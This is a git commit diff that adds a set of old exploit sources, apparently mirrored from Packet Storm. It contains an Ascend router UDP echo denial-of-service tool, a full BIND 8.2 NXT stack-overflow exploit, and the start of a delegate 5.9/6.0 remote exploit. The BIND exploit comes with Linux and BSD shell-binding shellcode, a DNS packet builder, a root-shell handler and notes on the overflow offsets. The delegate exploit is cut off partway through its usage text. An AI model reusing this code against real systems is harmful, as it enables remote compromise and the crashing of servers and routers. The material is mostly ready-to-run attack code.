From 5d3573ef7a109ee70416fe94db098fe6a769a798 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Tue, 3 Mar 2026 06:28:55 +0000 Subject: packetstorm sync --- exploits/7350ascend/7350ascend-foo.c | 89 ++++++ exploits/7350bindnxt/Makefile | 12 + exploits/7350bindnxt/code.c | 86 ++++++ exploits/7350bindnxt/code.h | 21 ++ exploits/7350bindnxt/dnslib.c | 149 ++++++++++ exploits/7350bindnxt/dnslib.h | 25 ++ exploits/7350bindnxt/nxt.c | 462 +++++++++++++++++++++++++++++++ exploits/7350bindnxt/vulninfo | 53 ++++ exploits/7350delefate/delefate.c | 325 ++++++++++++++++++++++ exploits/7350lapsus/7350lapsus.pl | 65 +++++ exploits/7350man/7350man.c | 36 +++ exploits/7350pippi/7350pippi.pl | 97 +++++++ exploits/7350proftpd/pro.c | 472 ++++++++++++++++++++++++++++++++ exploits/7350proftpd/vulninfo | 55 ++++ exploits/7350termcap/libtermcapsploit.c | 61 +++++ 15 files changed, 2008 insertions(+) create mode 100644 exploits/7350ascend/7350ascend-foo.c create mode 100644 exploits/7350bindnxt/Makefile create mode 100644 exploits/7350bindnxt/code.c create mode 100644 exploits/7350bindnxt/code.h create mode 100644 exploits/7350bindnxt/dnslib.c create mode 100644 exploits/7350bindnxt/dnslib.h create mode 100644 exploits/7350bindnxt/nxt.c create mode 100644 exploits/7350bindnxt/vulninfo create mode 100644 exploits/7350delefate/delefate.c create mode 100644 exploits/7350lapsus/7350lapsus.pl create mode 100644 exploits/7350man/7350man.c create mode 100644 exploits/7350pippi/7350pippi.pl create mode 100644 exploits/7350proftpd/pro.c create mode 100644 exploits/7350proftpd/vulninfo create mode 100644 exploits/7350termcap/libtermcapsploit.c (limited to 'exploits') diff --git a/exploits/7350ascend/7350ascend-foo.c b/exploits/7350ascend/7350ascend-foo.c new file mode 100644 index 0000000..8980997 --- /dev/null +++ b/exploits/7350ascend/7350ascend-foo.c @@ -0,0 +1,89 @@ +/* ascend foo denial of service exploit + * 1999/09/25 + * + * basically just another lame echo/echo link, but has nice results on ascend, + * you can increase the lag in steps of 2ms by sending one packet, after some + * few hundret ms lag you overflow the internal packet buffer and the whole + * connection stalls, the router has to be rebooted. + * + * by scut / team teso [http://teso.scene.at/] + * + * compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN + * works fine against Ascend Pipeline * modells, haven't tried against others + */ + +#include +#include + +int +main (int argc, char **argv) +{ + int sock, c; + u_long src_ip; + u_char *buf; + u_char *qbuf; + int qbuf_s = 0; + + printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n"); + if (argc < 2) { + printf ("usage: %s [packetsize]\n\n", argv[0]); + exit (EXIT_FAILURE); + } else if (argc == 2) { + qbuf_s = 73; + } else { + qbuf_s = atoi (argv[2]); + } + qbuf = malloc (qbuf_s); + + src_ip = libnet_name_resolve (argv[1], 0); + + if (src_ip == 0) { + printf ("invalid syntax\n"); + exit (EXIT_FAILURE); + } + + buf = calloc (1, (UDP_H + IP_H + qbuf_s)); + if (buf == NULL) { + perror ("No memory for packet"); + exit (EXIT_FAILURE); + } + + libnet_seed_prand (); + + sock = libnet_open_raw_sock(IPPROTO_RAW); + if (sock == -1) { + perror ("No socket"); + exit (EXIT_FAILURE); + } + + libnet_build_ip ( UDP_H + qbuf_s, /* content size */ + 0, /* tos */ + 0, /* id */ + 0, /* frag */ + 64, /* ttl */ + IPPROTO_UDP, /* subprotocol */ + src_ip, /* heh ;) */ + src_ip, + NULL, /* payload already there */ + 0, /* same */ + buf); /* build in packet buffer */ + + libnet_build_udp ( 7, /* source port */ + 7, + qbuf, /* content already there */ + qbuf_s, /* same */ + buf + IP_H); /* build after ip header */ + + libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s); + + c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s); + if (c < UDP_H + IP_H + qbuf_s) { + printf ("write_ip wrote too less bytes\n"); + } + printf ("completed, wrote %d bytes to victim router\n", c); + + free (buf); + + return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); +} + diff --git a/exploits/7350bindnxt/Makefile b/exploits/7350bindnxt/Makefile new file mode 100644 index 0000000..b13942a --- /dev/null +++ b/exploits/7350bindnxt/Makefile @@ -0,0 +1,12 @@ +CFLAGS = -Wall -O2 +OBJS = nxt.o dnslib.o code.o +CC = gcc + +all: nxt + +nxt: $(OBJS) + $(CC) $(OBJS) -o nxt + + +clean: + rm -rf *.o *~ nxt diff --git a/exploits/7350bindnxt/code.c b/exploits/7350bindnxt/code.c new file mode 100644 index 0000000..1ce8ceb --- /dev/null +++ b/exploits/7350bindnxt/code.c @@ -0,0 +1,86 @@ + /**/ + +#include +#include "code.h" + +char linportshell[]= + /*chroot code - u can comment it out without making a difference*/ + "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" + "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" + "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" + "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" + "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" + "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" + + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x74\x5f\x89\x4f\x10\xfe" + "\xc1\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe\xc3\xb0" + "\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66\x89\x5f\x14\x88\x47" + "\x08\xb0\x45\x66\x89\x47\x16\x89\x57\x18\x8d\x4f\x14\x89\x4f" + "\x0c\x8d\x4f\x08\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3" + "\xb0\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0\x66\xcd" + "\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" + "\xfe\xc1\xb0\x3f\xcd\x80\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d" + "\x4f\x0c\xb0\x0b\xcd\x80\xe8\x87\xff\xff\xff/bin/sh"; + +char linpeername[]= + /* same chroot code */ + "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" + "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" + "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" + "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" + "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" + "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" + + "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" + "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08" + "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10" + "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c" + "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe" + "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" + "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2" + "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" + "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" + "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; + + /* only tested on freebsd */ +char bsdportshell[]= + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08" + "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50" + "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50" + "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57" + "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff" + "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3" + "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0" + "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53" + "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh"; + + +c0de linux_i386[ARCH_MAX]= + { + {linportshell, sizeof (linportshell)}, + {linpeername, sizeof (linpeername)}, + }; + +c0de bsd_i386[ARCH_MAX]= + { + {bsdportshell, sizeof (bsdportshell)}, + {NULL, 0} + }; + +c0de *archs[]= + { + linux_i386, + bsd_i386 + }; + +char *archs_str[]= + { + "linux i386", + "bsd i386" + }; + +char *code_str[]= + { + "portshell code", + "peername code" + }; diff --git a/exploits/7350bindnxt/code.h b/exploits/7350bindnxt/code.h new file mode 100644 index 0000000..c547e83 --- /dev/null +++ b/exploits/7350bindnxt/code.h @@ -0,0 +1,21 @@ +#ifndef CODE_H +#define CODE_H + +#define LINUX_I386 0x0 +#define BSD_I386 0x1 +#define ARCH_MAX 0x2 + +#define PORTSHELL 0x0 +#define PEERNAME 0x1 +#define TYPE_MAX 0x2 + +typedef struct c0de { + char *code; + int codesize; +} c0de; + +extern c0de *archs[]; +extern char *archs_str[], + *code_str[]; + +#endif /* CODE_H */ diff --git a/exploits/7350bindnxt/dnslib.c b/exploits/7350bindnxt/dnslib.c new file mode 100644 index 0000000..d1afb13 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.c @@ -0,0 +1,149 @@ +#include "dnslib.h" +#include +#include + +/* make a full dns query including header. Returns length of packet. + */ +int +makequery (char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id) +{ + HEADER *head; + + head = (HEADER *)buffer; + + bzero (head, DNSHDRSIZE); + head->id = htons (id); + head->qr = 0; + head->opcode = 0; + head->aa = 0; + head->tc = 0; + head->rd = 1; + head->ra = 0; + head->rcode = 0; + head->qdcount = htons (1); + head->ancount = 0; + head->nscount = 0; + head->arcount = 0; + + return (makeqbody (name, type, buffer + DNSHDRSIZE) + DNSHDRSIZE); +} + +/* convert a \0-terminated string to a DNS domain name. + * www.yahoo.com(.) => \003www\005yahoo\003\com\000 + */ +int +formatname (char *in, u_int8_t *out) +{ + char *start = in, c = 0; + int n = strlen (in); + + in += n - 1; + out += n + 1; + + *out-- = 0; + + n = 0; + while (in >= start) { + c = *in--; + if (c == '.') { + *out-- = n; + n = 0; + } else { + *out-- = c; + n++; + } + } + + if (n) + *out-- = n; + + return (strlen (out + 1) + 1); +} + +/* simple function for making a, ptr and ns resource records + * doesn't support more complicated stuph. + */ + +int +makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, + char *rdata, char *buf) +{ + int n; + rrec_body *rec; + char *ptr = buf; + + /* name the resource record pertains too */ + ptr += formatname (name, ptr); + rec = (rrec_body *)ptr; + rec->type = htons (type); + rec->class = htons (class); + rec->ttl = htonl (ttl); + rec->rdlength = 0; + ptr += 10; + + switch (type) { + case T_A: + *(u_int32_t *)ptr = inet_addr (rdata); + rec->rdlength = htons (4); + ptr += 4; + break; + case T_PTR: + case T_NS: + n = formatname (rdata, ptr); + ptr += n; + rec->rdlength = htons (n); + break; + default: + /**/ + } + return (ptr - buf); +} + +/* make just the body of a DNS query. + */ +int +makeqbody (char *name, u_int16_t type, u_int8_t *buffer) +{ + int len; + + len = formatname (name, buffer); + buffer += len; + PUTSHORT (type, buffer); + PUTSHORT (C_IN, buffer); + return (len + 4); +} + + +/* uncompress compressed dns names. ugh. + * works for normal formatted dns names too.. + * returns the length of the first part of the compressed name (i.e. + * before redirection). + */ + +int +uncompress (u_int8_t *in, char *out, u_int8_t *msg) +{ + u_int8_t *start = in, *end = NULL; + u_int8_t len; + u_int16_t off; + + while ((len = *in++)) { + if (len & INDIR_MASK) { + if (end == NULL) + end = in + 1; + off = (len & ~INDIR_MASK); + off |= *in++ << 8; + off = ntohs (off); + in = msg + off; + continue; + } + memcpy (out, in, len); + out += len; + in += len; + *out++ = '.'; + } + if (end == NULL) + end = in; + *out++ = 0; + return (end - start); +} diff --git a/exploits/7350bindnxt/dnslib.h b/exploits/7350bindnxt/dnslib.h new file mode 100644 index 0000000..2beefe1 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.h @@ -0,0 +1,25 @@ +#ifndef DNSLIB_H +#define DNSLIB_H +#include +#include +#include +#include + +#define DNSHDRSIZE sizeof(HEADER) + +int makequery(char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id); +int makeqbody(char *name, u_int16_t type, u_int8_t *buffer); +int formatname(char *in, u_int8_t *out); +int uncompress(u_int8_t *in, char *out, u_int8_t *msg); + +typedef struct { + u_int16_t type; + u_int16_t class; + u_int32_t ttl; + u_int16_t rdlength; +} rrec_body; + +int makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, + char *rdata, char *buf); + +#endif /* DNSLIB_H */ diff --git a/exploits/7350bindnxt/nxt.c b/exploits/7350bindnxt/nxt.c new file mode 100644 index 0000000..090edb2 --- /dev/null +++ b/exploits/7350bindnxt/nxt.c @@ -0,0 +1,462 @@ +/* Preliminary exploit for named 8.2 on linux by z-. + * + * thx to horizon and jayenz. + * + * NB: u need to get the nameserver to query the exploit, something along + * the lines of: + * $ nslookup asdfasdf.urdomain.com victim.server.com + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "dnslib.h" +#include "code.h" + +#define DEBUG +#ifndef T_NXT +#define T_NXT 30 +#endif + +int connect_portshell (struct in_addr ip); +int run_shell (int fd); + +#define SLEEP 2 +#define CODE_PORT 17664 + +#define RET_CNT 16 /* number of times to repeat the return address */ +#define RET_POS 4133 /* distance till end of the buffer */ + +#define NOP 0x09 + +#define SA struct sockaddr + +typedef struct type { + char *name; + unsigned long ret; + int arch; +} type; + +type types[]= + { + {"8.2 linux", /*0xbfffdd34*/0xbfffd6c3, LINUX_I386}, + {"8.2.1 Freebsd", 0x31313131, BSD_I386}, /* fixme */ + {NULL, 0, 0} + }; + +u_int type_cnt = (sizeof (types) / sizeof (type)) - 1, + victim_type = 0, + shellcode_type = PORTSHELL; + +char *ourdomain; + +void pfatal (char *s); +int resolv (char *hostname, struct in_addr *ip); +void usage (char *prog); + +/* actually make the egg to overflow the data[] buffer, including nops. + * returns length of egg. + */ +int +make_egg (char *ptr) +{ + u_int *ret_ptr; + c0de *c0de_ptr; + char *code; + int i, + codesize, + arch; + + + /* don't bother sanity checking here */ + + arch = types[victim_type].arch; + + c0de_ptr = archs[arch]; + + code = c0de_ptr[shellcode_type].code; + codesize = c0de_ptr[shellcode_type].codesize; + +#ifdef DEBUG + printf ("codesize = %d\n", codesize); +#endif + memset (ptr, NOP, RET_POS); + memcpy (ptr + RET_POS - codesize, code, codesize); + + /* risc alignment is evil ! */ + ret_ptr = (u_int *)(ptr + RET_POS); + for (i = 0; i < RET_CNT; i++) + *ret_ptr++ = types[victim_type].ret; + + return (RET_POS + 4 * RET_CNT); +} + +/* send exploit data to 'victim'. + * returns connected descriptor on succes + * returns -1 on error + */ +int +send_data (struct sockaddr_in *victim, char *buf, int len) +{ + struct sockaddr_in sin; + int fd; + u_short lennbo; + + fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) + return (-1); + + /* we need to bind to port 53 to appear as named */ + + bzero (&sin, sizeof (sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = htonl (INADDR_ANY); + sin.sin_port = htons (53); + + printf("Binding to local port 53...\n"); + if (bind (fd, (SA *)&sin, sizeof(sin)) < 0) { + close (fd); + return (-1); + } + + victim->sin_port = htons (53); + + if (connect (fd, (SA *)victim, sizeof(struct sockaddr_in)) < 0) { + close (fd); + return (-1); + } + + printf("Sending packet of length %d\n", len); + + lennbo = htons (len); + send (fd, &lennbo, sizeof(u_short), 0); + if (send (fd, buf, len, 0) < len) { + close (fd); + return (-1); + } + + return (fd); +} + +/* make the dns packet to exploit named and call send_data(). + * returns the result of send_data() + */ +int +send_exploit (u_char *buf, struct sockaddr_in *victim) +{ + u_char response[5120], + query[256], + tmp_str[100], + *ptr, *tmp; + u_short type; + HEADER *hdr; + + ptr = buf + DNSHDRSIZE; + ptr += uncompress (ptr, query, buf); + GETSHORT (type, ptr) + + printf("Query %s type %d\n", query, type); + + hdr = (HEADER *)response; + hdr->id = ((HEADER *)buf)->id; + hdr->qr = 1; /* answer */ + hdr->aa = 1; /* authoritative */ + hdr->qdcount = htons (1); + hdr->ancount = htons (1); + hdr->nscount = htons (0); + hdr->arcount = htons (1); + ptr = response + sizeof (HEADER); + + ptr += makeqbody (query, type, ptr); + + /* do the answer */ + switch (type) { + case T_A: + ptr += makeRR (query, type, C_IN, 10000, "3.1.33.7", ptr); + break; + case T_PTR: + case T_NS: + sprintf (tmp_str, "rand0m.%s", ourdomain); + ptr += makeRR (query, type, C_IN, 10000, tmp_str, ptr); + break; + default: + printf("Krazy packetz\n"); + exit(-1); + } + + /* now do the overflow */ + /* first comes the query name again. + */ + ptr += formatname (query, ptr); + PUTSHORT (T_NXT, ptr); + PUTSHORT (C_IN, ptr); + PUTLONG (100000, ptr); + tmp = ptr; /* tmp points to rdlength */ + + /* now do rdata section. */ + ptr += 2; + /* first any domain u want, note the length affects the ret */ + ptr += formatname ("smiler", ptr); + /* then the arbitrary data */ + ptr += make_egg (ptr); + PUTSHORT ((u_short)(ptr-tmp-2), tmp); /* store the rdlength */ + + return (send_data (victim, response, ptr - response)); +} + +/* loop waiting for the query from 'victim'. + * returns the result of send_exploit() + */ +int +wait_for_connection (struct in_addr victim) +{ + struct sockaddr_in from; + u_char beef[512]; + int fd, + n, fromlen; + + fd = socket (AF_INET, SOCK_DGRAM, 0); + if (fd < 0) + pfatal ("socket"); + + bzero (&from, sizeof(from)); + from.sin_addr.s_addr = htonl(INADDR_ANY); + from.sin_port = htons(53); + from.sin_family = AF_INET; + + if (bind (fd, (SA *)&from, sizeof(from)) < 0) + return (-1); + + printf ("Waiting for query packet from victim...\n"); + + for (;;) { + HEADER *ptr; + + fromlen = sizeof(from); + n = recvfrom (fd, beef, sizeof (beef), 0, (SA *)&from, + &fromlen); + if (n <= 0) + return (-1); +#ifdef DEBUG + fprintf(stderr, "Packet from %s %d\n", inet_ntoa + (from.sin_addr), ntohs(from.sin_port)); +#endif + + if (from.sin_addr.s_addr != victim.s_addr) + continue; + +#ifndef DEBUG + fprintf (stderr, "Got packet from %s %d\n", + inet_ntoa (from.sin_addr), ntohs (from.sin_port)); +#endif + + ptr = (HEADER *)beef; + if (ptr->qr || !ptr->qdcount) + continue; + + close (fd); + return (send_exploit (beef, &from)); + break; + } + return (0); +} + +void +parse_opts (int argc, char **argv, struct in_addr *victim) +{ + char *argv0, + d; + int arch; + c0de *c0de_ptr; + + argv0 = strdup (argv[0]); + + while ((d = getopt (argc, argv, "s:t:")) != -1) { + switch (d) { + case 's': + shellcode_type = atol (optarg); + if (shellcode_type >= TYPE_MAX) { + fprintf (stderr, "shellcode out of range\n"); + exit (-1); + } + break; + case 't': + victim_type = atol (optarg); + if (victim_type >= type_cnt) { + fprintf (stderr, "No such type\n"); + exit (-1); + } + break; + } + } + + arch = types[victim_type].arch; + c0de_ptr = archs[arch]; + + if (c0de_ptr[shellcode_type].code == NULL) { + printf ("No %s for arch %s :(\n", + code_str[shellcode_type], archs_str[arch]); + exit (-1); + } + + argc -= optind; + argv += optind; + + if (argc < 2) + usage (argv0); + + if (!resolv (argv[0], victim)) { + herror ("resolv"); + exit (-1); + } + + ourdomain = strdup (argv[1]); + return; +} + +int +main (int argc, char **argv) +{ + struct in_addr victim; + int fd; + + puts ("NXT exploit by z-\n"); + + parse_opts (argc, argv, &victim); + + printf ("using type %d - %s\n", victim_type, types[victim_type].name); + printf ("exploit arch %s\n", archs_str[types[victim_type].arch]); + printf ("using %s\n", code_str[shellcode_type]); + + if ((fd = wait_for_connection (victim)) < 0) { + perror("ERROR"); + return (-1); + } + if (shellcode_type == PORTSHELL) { + close (fd); /* get rid of domain connection */ + printf("Sleeping for %d seconds\n", SLEEP); + sleep (SLEEP); + + /* and get the portshell connection */ + if ((fd = connect_portshell (victim)) < 0) { + perror ("connect_portshell"); + return (-1); + } + } + + if (run_shell (fd) < 0) { + perror ("connect_shell"); + return (-1); + } + + return (0); +} + +/* connects 'fd' to your term, effectively. + */ +int +run_shell (int fd) +{ + fd_set rset; + int n; + char buffer[4096]; + + send (fd, "/bin/uname -a\n", 14, 0); + + for (;;) { + FD_ZERO (&rset); + FD_SET (fd, &rset); + FD_SET (STDIN_FILENO, &rset); + + n = select (fd + 1, &rset, NULL, NULL, NULL); + if (n <= 0) + return (-1); + + if (FD_ISSET (fd, &rset)) { + n = recv (fd, buffer, sizeof (buffer), 0); + if (n <= 0) + break; + + write (STDOUT_FILENO, buffer, n); + } + + if (FD_ISSET (STDIN_FILENO, &rset)) { + n = read (STDIN_FILENO, buffer, sizeof (buffer)); + if (n <= 0) + break; + + send (fd, buffer, n, 0); + } + } + return (0); +} + +/* connect to the relevant high port. + */ +int +connect_portshell (struct in_addr ip) +{ + int fd; + struct sockaddr_in sin; + + printf ("Trying to connect to root shell...\n"); + + fd = socket (AF_INET, SOCK_STREAM, 0); + if (fd < 0) + return (-1); + + bzero (&sin, sizeof (sin)); + sin.sin_addr.s_addr = ip.s_addr; + sin.sin_port = htons (CODE_PORT); + sin.sin_family = AF_INET; + + if (connect (fd, (SA *)&sin, sizeof (sin)) < 0) + return (-1); + + return (fd); +} + +int +resolv (char *hostname, struct in_addr *ip) +{ + struct hostent *res; + + if (inet_aton (hostname, ip)) + return (1); + + res = gethostbyname (hostname); + if (res == NULL) + return (0); + + memcpy (ip, res->h_addr, sizeof (struct in_addr)); + return (1); +} + +void +usage (char *prog) +{ + type *ptr; + int ctr = 0; + + fprintf (stderr, "usage: %s [-t type] [-s shellcode type]\n", prog); + for (ptr = types; ptr->name; ptr += 1, ctr++) { + printf ("type %d: %s\n", ctr, ptr->name); + } + printf ("shellcode 0: portshell code\n"); + printf ("shellcode 1: peername code\n"); + exit(-1); +} + +void +pfatal (char *s) +{ + perror (s); + exit(-1); +} diff --git a/exploits/7350bindnxt/vulninfo b/exploits/7350bindnxt/vulninfo new file mode 100644 index 0000000..ce794e4 --- /dev/null +++ b/exploits/7350bindnxt/vulninfo @@ -0,0 +1,53 @@ +--here is the offending code + + n = dn_expand(msg, eom, cp, (char *)data, sizeof data); + if (n < 0) { + hp->rcode = FORMERR; + return (-1); + } + if (!ns_nameok((char *)data, class, NULL, response_trans, + domain_ctx, dname, from.sin_addr)) { + hp->rcode = FORMERR; + return (-1); + } + cp += n; + cp1 = data + strlen((char *)data) + 1; + memcpy(cp1, cp, dlen - n); + +-- + +This implys three things. + +firstly the format of the rdata section - it is important that u form this +correctly. in this case it is quite simple, a DNS domain name followed by +any arbitrary data :) Yes, even nulls ;) + +secondly the buffer will already contain the data from the DNS domain +name from the first part of the rdata section, and the arbitrary data +appends this data, hence u must take account of this when calculating the +ret distance. + +thirdly its just an ordinary stack overflow ('data' isn't declared +static), so it should be easy enough to exploit. + +the buffer in this case is of size MAXDATA*2 which, if u follow the macros, +evaluates to 4140 bytes. There are 12 other temporary variables in the +stack, each of size 4 bytes so, making no assumptions about how the +compiler decides to arrange them on the stack, u must send approx 14 +return addresses after the shellcode. note the buffer is fuqn huge so you +should have virtually no problems with the offset =) + +So if you use a DNS domain name of length 6 (e.g. \006smiler\000 =) +since it starts at 'data + strlen (data) + 1' then u need to put 4140 - 7 += 4133 bytes in the buffer to start overflowing and u need to follow that +with 14 ret addresses (56 bytes). In total that comes to 4190 bytes =) + +I haven't checked this out, but apparently u need to send this +data via tcp, because BIND refuses to read more than 512 bytes from a udp +packet, even if u fragment to allow it to be bigger than the MTU +(I managed to do this before, with an rpc call, to exploit rpc.mountd - +albeit only ~1100 bytes). + + +-smiler + diff --git a/exploits/7350delefate/delefate.c b/exploits/7350delefate/delefate.c new file mode 100644 index 0000000..716d155 --- /dev/null +++ b/exploits/7350delefate/delefate.c @@ -0,0 +1,325 @@ +/* delefate.c + * delegate 5.9.x - 6.0.x remote exploit + * + * public + * + * will open a shell with the privileges of the nobody user. + * + * 1999/13/11 by scut of teso [http://teso.scene.at/] + * + * word to whole team teso, ADM, w00w00, beavuh and stealth :). + * special thanks to xdr for donating a bit of his elite debugging skillz. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define XP_OFFSET 0xbfffe074 /* offset */ +unsigned long int xp_off = XP_OFFSET; + +/* you don't have to modify this :) i hope :) + */ +#define XP_NETWORK_FD 12 +#define XP_NETWORK_OFFSET 0x00000101 /* fixed relative network socket offset */ +#define XP_SHELLCODE_OFFSET 0x00000104 /* fixed relative retaddr offset */ +#define XP_DIFF 0x0000000e /* 14 bytes after XP_OFFSET starts the shellcode */ + +#define XP_SH2_FD1 0x00000011 +#define XP_SH2_FD2 0x0000001d +#define XP_SH2_FD3 0x0000002a + + +#define GREEN "\E[32m" +#define BOLD "\E[1m" +#define NORMAL "\E[m" +#define RED "\E[31m" + +/* local functions + */ +void usage (void); +void shell (int socket); +unsigned long int net_resolve (char *host); +int net_connect (struct sockaddr_in *cs, char *server, + unsigned short int port, int sec); + + +/* because the buffer is rather small (256 bytes), we use a minimalistic + * read() shellcode to increase the chances to hit a correct offet + */ +unsigned char shellcode1[] = + "\x77\x68\x6f\x69\x73\x3a\x2f\x2f\x61\x20\x62\x20\x31\x20\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90" + + /* 30 byte read() shellcode by scut */ + "\x33\xd2\x33\xc0\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x80\xc2" + "\x10\x03\xca\xc1\xc2\x04\xb0\x03\x33\xdb\xb3\x0c\xcd\x80" + /* ^^ network fd */ + "\x82\xe0\xff\xbf" /* return address */ + + "\x0d\x0a"; + + +/* uid+chroot-break+shell shellcode by lamerz, thanks ! + * slightly modified by scut to take care of the network socket + */ +unsigned char shellcode2[]= + "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x89\xd9" + "\xb3\x0c\xb0\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\xb0" + "\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\x41\xb0\x3f\xcd" + "\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e" + "\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27" + "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d" + "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c" + "\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d" + "\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07" + "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b" + "\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30" + "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67"; + + +void +usage (void) +{ + printf (GREEN BOLD "delefate - delegate 5.9.x, 6.0.x remote" NORMAL "\n" + "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n" + + "usage.... : ./delefate [offset-add]\n" + "example.. : 